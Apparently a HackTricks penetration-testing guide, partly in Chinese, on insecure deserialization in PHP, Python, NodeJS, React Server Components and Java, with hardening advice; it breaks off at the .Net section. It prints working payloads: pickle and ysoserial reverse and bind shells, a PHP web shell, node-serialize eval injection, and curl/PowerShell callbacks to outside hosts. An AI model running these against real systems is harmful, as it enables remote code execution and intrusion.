Deserialization

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

Serialization 是将对象转换为可保存格式的方法,目的是将对象存储或作为通信过程的一部分传输。该技术通常用于确保对象可以在以后被重建,保持其结构和状态。

Deserialization 则相反,是对抗 serialization 的过程。它涉及将以特定格式组织的数据重新构造成对象。

Deserialization 可能是危险的,因为它可能 allows attackers to manipulate the serialized data to execute harmful code 或在对象重构过程中导致应用程序出现意外行为。

PHP

在 PHP 中,特定的魔术方法在 serialization 和 deserialization 过程中会被调用:

  • __sleep: 在对象被 serialized 时被调用。该方法应返回一个数组,包含应被 serialized 的对象所有属性的名称。它通常用于提交未完成的数据或执行类似的清理操作。
  • __wakeup: 在对象被 deserialized 时被调用。用于重新建立在 serialization 期间可能丢失的数据库连接,并执行其他重新初始化任务。
  • __unserialize: 当对象被 deserialized 时,如果存在则会替代 __wakeup 被调用。与 __wakeup 相比,它可以对 deserialization 过程提供更细的控制。
  • __destruct: 当对象即将被销毁或脚本结束时调用。通常用于清理任务,例如关闭文件句柄或数据库连接。
  • __toString: 该方法允许将对象作为字符串处理。它可以用于读取文件或基于其内部函数调用的其他任务,实际上提供了对象的文本表示。
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

If you查看结果可以看到当对象被反序列化时函数 __wakeup__destruct 会被调用。请注意,在很多教程中你会发现尝试打印某个属性时会调用 __toString 函数,但显然这已经不再发生

Warning

The method __unserialize(array $data) is called instead of __wakeup() if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

你可以在这里阅读一个讲解过的 PHP 示例: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, 这里 https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf 或这里 https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP 反序列化 + Autoload Classes

你可以滥用 PHP 的 autoload 功能来加载任意 php 文件以及更多:

PHP - Deserialization + Autoload Classes

Laravel Livewire Hydration Chains

Livewire 3 synthesizers 可以被强制用于实例化任意 gadget graphs(有或没有 APP_KEY)以到达 Laravel Queueable/SerializableClosure sinks:

Livewire Hydration Synthesizer Abuse

Serializing Referenced Values

如果出于某种原因你想把一个值序列化为对另一个已序列化值的引用,你可以:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

使用 allowed_classes 防止 PHP 对象注入

[!INFO] 对 unserialize()第二个参数$options 数组)的支持在 PHP 7.0 中添加。在更早的版本中,该函数仅接受序列化字符串,因此无法限制可能被实例化的类。

unserialize()实例化它在序列化流中找到的每个类,除非另有指示。自 PHP 7 起,这种行为可以通过 allowed_classes 选项进行限制:

// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

如果 allowed_classes 被省略 代码运行在 PHP < 7.0 上,该调用会变得 危险,因为攻击者可以构造一个 payload,滥用诸如 __wakeup()__destruct() 等魔术方法来实现 Remote Code Execution (RCE)。

真实案例:Everest Forms (WordPress) CVE-2025-52709

WordPress 插件 Everest Forms ≤ 3.2.2 试图通过一个辅助封装器来防御,但忽略了旧版 PHP:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

在仍运行 PHP ≤ 7.0 的服务器上,这个第二个分支在管理员打开恶意表单提交时会导致经典的 PHP Object Injection。一个最小的 exploit payload 可以如下:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

管理员一查看该条目,对象就被实例化并且 SomeClass::__destruct() 被执行,导致任意代码执行。

要点

  1. 调用 unserialize() 时,始终传入 ['allowed_classes' => false](或严格的 white-list)。
  2. 审计 defensive wrappers —— 它们经常会忘记 legacy PHP 分支。
  3. 仅升级到 PHP ≥ 7.x 并不足够:该选项仍需显式提供。

PHPGGC (ysoserial for PHP)

PHPGGC 可以帮助你生成 payloads 来滥用 PHP deserializations。
注意,在许多情况下你 可能无法在应用的源代码中找到滥用 deserialization 的方式,但你可能能够 滥用外部 PHP extensions 的代码。
因此,如果可能,查看服务器的 phpinfo() 并在互联网上(甚至在 PHPGGCgadgets 中)搜索一些你可能滥用的 gadget。

phar:// metadata deserialization

如果你发现了一个 LFI,它只是读取文件而不执行其中的 php 代码,例如使用像 file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). 你可以尝试滥用在使用 phar 协议读取 file 时发生的 deserialization
更多信息请阅读以下文章:

phar:// deserialization

Python

Pickle

当对象被 unpickle 时,函数 ___reduce___ 会被执行。
被利用时,服务器可能返回错误。

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

在检查绕过技术之前,尝试使用 print(base64.b64encode(pickle.dumps(P(),2))) 来生成与 python2 兼容的对象(如果你在运行 python3)。

有关从 pickle jails 逃逸的更多信息,请查看:

Bypass Python sandboxes

Yaml & jsonpickle

以下页面介绍了在 python 的 yaml 库中滥用不安全反序列化的技术,并以一个可用于为 Pickle, PyYAML, jsonpickle 和 ruamel.yaml 生成 RCE 反序列化有效载荷的工具作为结尾:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python’s Prototype Pollution)

NodeJS

JS Magic Functions

JS 没有像 PHP 或 Python 那样会在仅创建对象时就被执行的“magic”函数。但它确实有一些 函数 会在即便没有直接调用它们的情况下也经常被使用,例如 toString, valueOf, toJSON.
如果在滥用反序列化时你能够破坏这些函数以执行其他代码(可能滥用 prototype pollutions),那么在它们被调用时你就可以执行任意代码。

另一种在不直接调用函数的情况下调用它的 “magic” 方法 是通过破坏由 async 函数返回的对象(promise)。因为如果你将该返回对象转换成另一个带有名为 “then” 且类型为 function属性promise,它就会仅因为被另一个 promise 返回而被执行详见 this link 了解更多信息。

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

如果你想了解这项技术,请查看以下教程

NodeJS - proto & prototype Pollution

node-serialize

该库允许序列化函数。示例:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

序列化对象 将如下所示:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

从示例中可以看到,当一个函数被序列化时,_$$ND_FUNC$$_ 标志会被追加到序列化的对象中。

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

正如你可以在最后一段代码中看到的,如果找到了该标志,会使用 eval 来反序列化函数,因此基本上用户输入被用在 eval 函数内部

然而,仅仅序列化一个函数并不会执行它,因为在我们的示例中,需要代码的某部分调用 y.rce,这非常 不太可能
无论如何,你可以修改序列化后的对象添加一些括号,从而在对象被反序列化时自动执行该函数。
在下一段代码中注意最后的括号以及 unserialize 函数如何自动执行该代码:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

如前所述,这个库会获取位于 _$$ND_FUNC$$_ 之后的代码,并使用 eval 执行它。因此,为了自动执行代码,你可以删除函数创建的部分和最后的右括号,并直接执行一行 JS,如下例所示:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

你可以 find here 获取有关如何利用此漏洞的更多信息

funcster

一个值得注意的方面是 funcster 无法访问 标准内置对象;它们不在可访问的作用域内。这个限制会阻止尝试在内置对象上调用方法的代码执行,因此在使用像 console.log()require(something) 这样的命令时,会出现例如 "ReferenceError: console is not defined" 的异常。

尽管有此限制,通过特定的方法仍可恢复对全局上下文(包括所有标准内置对象)的完全访问。通过直接利用全局上下文,可以绕过此限制。例如,可以使用以下片段重新建立访问:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

有关 more information read this source

serialize-javascript

serialize-javascript 包专门用于 serialization,不包含任何内置的 deserialization 功能。用户需自行实现 deserialization 的方法。官方示例在对 serialized 数据进行 deserialization 时建议直接使用 eval

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

如果这个函数用于 deserialize objects,你可以 easily exploit it:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

关于 更多信息请阅读此来源.

Cryo 库

在以下页面中你可以找到关于如何滥用此库以执行任意命令的信息:

React Server Components / react-server-dom-webpack Server Actions 滥用 (CVE-2025-55182)

React Server Components (RSC) 依赖 react-server-dom-webpack (RSDW) 来解码作为 multipart/form-data 发送的 server action 提交。每个 action 提交包含:

  • $ACTION_REF_<n> 部分引用正在调用的 action。
  • $ACTION_<n>:<m> 部分的主体是 JSON,例如 {"id":"module-path#export","bound":[arg0,arg1,...]}

在版本 19.2.0 中,decodeAction(formData, serverManifest) 辅助函数盲目信任 id 字符串(用于选择要调用的模块导出)和 bound 数组(参数)。如果攻击者能到达将请求转发给 decodeAction 的端点,他们可以在没有 React 前端的情况下用攻击者控制的参数调用任何导出的 server action(CVE-2025-55182)。端到端的流程如下:

  1. 了解 action 标识符。 Bundle 输出、错误跟踪或 leaked manifests 通常会暴露类似 app/server-actions#generateReport 的字符串。
  2. 重建 multipart 负载。 构造一个 $ACTION_REF_0 部分和一个 $ACTION_0:0 JSON 主体,包含标识符和任意参数。
  3. decodeAction 调度它。 该辅助函数从 serverManifest 解析模块、导入该导出,并返回一个服务器会立即执行的可调用对象。

示例有效载荷,目标为 /formaction

POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"

------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--

或者使用 curl:

curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'

bound 数组直接填充 server-action 参数。在易受攻击的实验室中,该 gadget 看起来像:

const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);

async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}

提供 format = "pdf & whoami" 会使 /bin/sh -c 先运行合法的报告生成器然后执行 whoami,两者的输出都会被包含在 JSON action 响应中。任何将文件系统原语、数据库驱动或其他解释器封装为 server action 的情况,一旦攻击者控制了 bound 数据,就可以用相同方式滥用。

攻击者根本不需要真实的 React 客户端——任何能发出 $ACTION_* multipart 形态的 HTTP 工具都可以直接调用 server actions,并将得到的 JSON 输出串接成一个 RCE 原语。

Java - HTTP

在 Java 中,deserialization callbacks 会在 deserialization 过程中被执行。攻击者可以构造触发这些回调的恶意 payload,从而利用这种执行来运行有害操作。

指纹

White Box

要在代码库中识别潜在的 serialization vulnerabilities,请搜索:

  • 实现 Serializable 接口的类。
  • 使用 java.io.ObjectInputStreamreadObjectreadUnshare 等函数。

特别注意:

  • XMLDecoder 被用于由外部用户定义的参数时。
  • XStreamfromXML 方法,尤其是当 XStream 版本小于或等于 1.46 时,因为它容易受到 serialization 问题的影响。
  • ObjectInputStreamreadObject 方法结合使用。
  • 实现诸如 readObjectreadObjectNodDatareadResolvereadExternal 之类的方法。
  • 使用 ObjectInputStream.readUnshared
  • 广泛使用 Serializable

Black Box

对于 black box 测试,请查找表示 java serialized objects(来自 ObjectInputStream)的特定签名或“Magic Bytes”:

  • 十六进制模式:AC ED 00 05
  • Base64 模式:rO0
  • HTTP 响应头的 Content-typeapplication/x-java-serialized-object
  • 表示先前压缩的十六进制模式:1F 8B 08 00
  • 表示先前压缩的 Base64 模式:H4sIA
  • 带有 .faces 扩展名且包含 faces.ViewState 参数的 web 文件。在 web 应用中发现这些模式时,应按照 post about Java JSF ViewState Deserialization 中的详细说明进行检查。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

检查是否存在漏洞

如果你想了解 Java Deserialized exploit 的工作原理,应该查看 Basic Java Deserialization, Java DNS Deserialization, 和 CommonsCollection1 Payload

SignedObject-gated deserialization 和 pre-auth 可达性

现代代码库有时会用 java.security.SignedObject 包裹反序列化,并在调用 getObject()(反序列化内部对象)之前验证签名。这可以防止任意的顶层 gadget classes,但如果攻击者能获得有效签名(例如 private-key compromise 或 signing oracle),仍可能被利用。此外,错误处理流程可能会为未认证用户创建 session-bound tokens,从而在 pre-auth 阶段暴露原本受保护的 sinks。

有关包含请求、IoCs 和加固建议的具体案例研究,请参阅:

Java Signedobject Gated Deserialization

白盒测试

你可以检查是否安装了任何具有已知漏洞的应用程序。

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

你可以尝试 检查所有已知易受攻击并且 Ysoserial 可以提供 exploit 的库。或者你可以检查 Java-Deserialization-Cheat-Sheet 中指示的库。
你也可以使用 gadgetinspector 来搜索可能可被利用的 gadget chains。
在运行 gadgetinspector(构建后)时,不要在意它输出的大量警告/错误,等它完成。它会将所有发现写入 gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt。请注意 gadgetinspector won’t create an exploit and it may indicate false positives

黑盒测试

使用 Burp 插件 gadgetprobe 可以识别 哪些库是可用的(甚至包括版本)。有了这些信息,选择合适的 payload 来利用漏洞会更容易。
Read this to learn more about GadgetProbe.
GadgetProbe 专注于 ObjectInputStream deserializations

使用 Burp 插件 Java Deserialization Scanner 可以 识别可被 ysoserial 利用的易受攻击库 并对其进行 exploit
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner 专注于 ObjectInputStream deserializations。

你也可以使用 FreddyBurp检测 deserializations 漏洞。该插件不仅会检测与 ObjectInputStream 相关的漏洞,还会检测来自 JsonYml 反序列化库的漏洞。在主动模式下,它会尝试使用 sleep 或 DNS payloads 来确认这些漏洞。
You can find more information about Freddy here.

Serialization Test

并非所有工作都只是检查服务器是否使用了易受攻击的库。有时你可以修改序列化对象内部的数据以绕过某些检查(例如可能在 webapp 中为你授予 admin 权限)。
如果你发现有 java 序列化对象被发送到 web 应用,你可以使用 SerializationDumper 以更可读的格式打印发送的序列化对象。知道你发送了哪些数据后,就更容易修改它并绕过一些检查。

Exploit

ysoserial

用于利用 Java 反序列化的主要工具是 ysoserialdownload here)。你也可以考虑使用 ysoseral-modified,它允许你使用复杂命令(例如带管道的命令)。
请注意该工具专注于利用 ObjectInputStream
我建议先使用 “URLDNS” payload 在尝试 RCE payload 之前 测试注入是否可行。无论如何,请注意 “URLDNS” payload 可能不起作用,但其他 RCE payload 可能可行。

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

在为 java.lang.Runtime.exec() 创建 payload 时,你 不能使用特殊字符(例如 “>” 或 “|”)来重定向执行输出,不能使用 “$()” 来执行命令,甚至不能通过 空格传递参数 给命令(你可以做 echo -n "hello world",但不能做 python2 -c 'print "Hello world"')。为了正确编码 payload,你可以使用这个网页

可以使用下面的脚本来创建 all the possible code execution payloads,用于 Windows 和 Linux,然后在易受攻击的网页上进行测试:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

你可以 使用 https://github.com/pwntester/SerialKillerBypassGadgetCollection 与 ysoserial 一起创建更多的 exploits。更多关于该工具的信息见工具发布时的 演讲幻灯片https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec 可以用来生成 payloads,以利用 Java 中不同的 JsonYml 序列化库。
为了编译该项目,我需要将这些 dependencies 添加pom.xml

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Install maven, 并 编译 项目:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

了解更多关于这个 Java JSON 库的信息: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

实验室

为什么

Java 在许多场景中大量使用序列化,例如:

  • HTTP requests: 序列化在参数、ViewState、cookies 等的处理上被广泛使用。
  • RMI (Remote Method Invocation): Java RMI 协议完全依赖于序列化,是 Java 应用进行远程通信的基石。
  • RMI over HTTP: 这种方式通常被基于 Java 的厚客户端 web 应用使用,所有对象通信都使用序列化。
  • JMX (Java Management Extensions): JMX 使用序列化在网络上传输对象。
  • Custom Protocols: 在 Java 中,常见做法是传输原始 Java 对象,这将在后面的 exploit examples 中演示。

预防

Transient objects

实现了 Serializable 的类可以将类中任何不应被序列化的对象声明为 transient。例如:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

避免序列化需要实现 Serializable 的类

在某些场景中,由于类的层次结构,对象必须实现 Serializable 接口,这会带来意外反序列化的风险。为防止这种情况,通过定义一个始终抛出异常的 final readObject() 方法来确保这些对象不可反序列化,如下所示:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

增强 Java 中的 Deserialization 安全性

Customizing java.io.ObjectInputStream 是一种用于保护 deserialization 过程的实用方法。该方法适用于:

  • deserialization 代码由你控制。
  • 预期用于 deserialization 的类是已知的。

重写 resolveClass() 方法以将 deserialization 限制为仅允许的类。这样可以阻止除显式允许之外的任何类被 deserialization,例如下面的示例将 deserialization 限制为仅 Bicycle 类:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

使用 Java Agent 提升安全性 提供了一种后备解决方案,当无法修改代码时可用。此方法主要用于通过 JVM 参数将有害类列入黑名单

-javaagent:name-of-agent.jar

它提供了一种动态保护反序列化的方法,适用于无法立即修改代码的环境。

查看示例:rO0 by Contrast Security

实现序列化过滤器:Java 9 通过 ObjectInputFilter 接口引入了序列化过滤器,提供了一种强大的机制,用于指定序列化对象在反序列化之前必须满足的条件。可以全局应用这些过滤器或针对单个流应用,从而对反序列化过程进行精细控制。

要使用序列化过滤器,可以设置一个作用于所有反序列化操作的全局过滤器,或为特定流动态配置过滤器。例如:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

利用外部库增强安全性: Libraries such as NotSoSerial, jdeserialize, and Kryo offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.

  • NotSoSerial intercepts deserialization processes to prevent execution of untrusted code.
  • jdeserialize allows for the analysis of serialized Java objects without deserializing them, helping identify potentially malicious content.
  • Kryo is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.

References

JNDI Injection & log4Shell

Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).

Products

There are several products using this middleware to send messages:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

所以,基本上有许多服务以危险的方式使用 JMS。因此,如果你有 enough privileges 向这些 services 发送消息(通常需要有效凭据),你可能能够发送 malicious serialized objects,这些对象会被 consumer/subscriber deserialized。
这意味着在这种 exploitation 中,所有将使用该消息的 clients 都会被感染。

你应记住,即使某个服务存在漏洞(因为它不安全地 deserializing 用户输入),你仍需找到有效的 gadgets 来利用该漏洞。

工具 JMET 是为 连接并攻击这些服务,发送多个使用已知 gadgets 序列化的 malicious objects 而创建的。如果服务仍然易受攻击且所使用的任何 gadget 存在于易受攻击的应用中,这些 exploits 就能奏效。

References

.Net

In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.

Fingerprint

WhiteBox

The source code should be inspected for occurrences of:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

The focus should be on serializers that permit the type to be determined by a variable under user control.

BlackBox

